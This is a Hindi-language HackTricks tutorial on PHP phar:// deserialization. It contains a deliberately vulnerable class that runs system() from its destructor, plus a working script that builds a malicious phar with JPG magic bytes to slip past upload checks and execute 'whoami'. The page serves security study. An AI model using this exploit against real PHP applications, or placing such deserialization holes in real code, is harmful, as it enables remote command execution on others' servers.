phar:// deserialization

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Phar फ़ाइलें (PHP Archive) फ़ाइलें serialized format में मेटा डेटा रखती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह metadata deserialized हो जाता है और आप PHP कोड के अंदर एक deserialization भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।

इस विशेषता की सबसे अच्छी बात यह है कि यह deserialization तब भी होगी जब PHP फ़ंक्शन का उपयोग किया जाए जो PHP कोड को eval नहीं करते जैसे file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()

तो, एक स्थिति की कल्पना करें जहां आप एक PHP वेब को एक मनमाने फ़ाइल का आकार प्राप्त करने के लिए phar:// प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको एक class मिलती है जो निम्नलिखित के समान है:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

आप एक phar फ़ाइल बना सकते हैं जो लोड होने पर इस क्लास का दुरुपयोग करके मनमाने कमांड चलाएगी, जैसे:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

ध्यान दें कि JPG के जादुई बाइट्स (\xff\xd8\xff) को phar फ़ाइल की शुरुआत में जोड़ा गया है ताकि संभावित फ़ाइल अपलोड प्रतिबंधों को बायपास किया जा सके। test.phar फ़ाइल को संकलित करें:

php --define phar.readonly=0 create_phar.php

और कमजोर कोड का दुरुपयोग करते हुए whoami कमांड चलाएँ:

php vuln.php

References

बग बाउंटी टिप: साइन अप करें Intigriti के लिए, एक प्रीमियम बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही https://go.intigriti.com/hacktricks पर हमारे साथ जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!

HackTricks का समर्थन करें

Last updated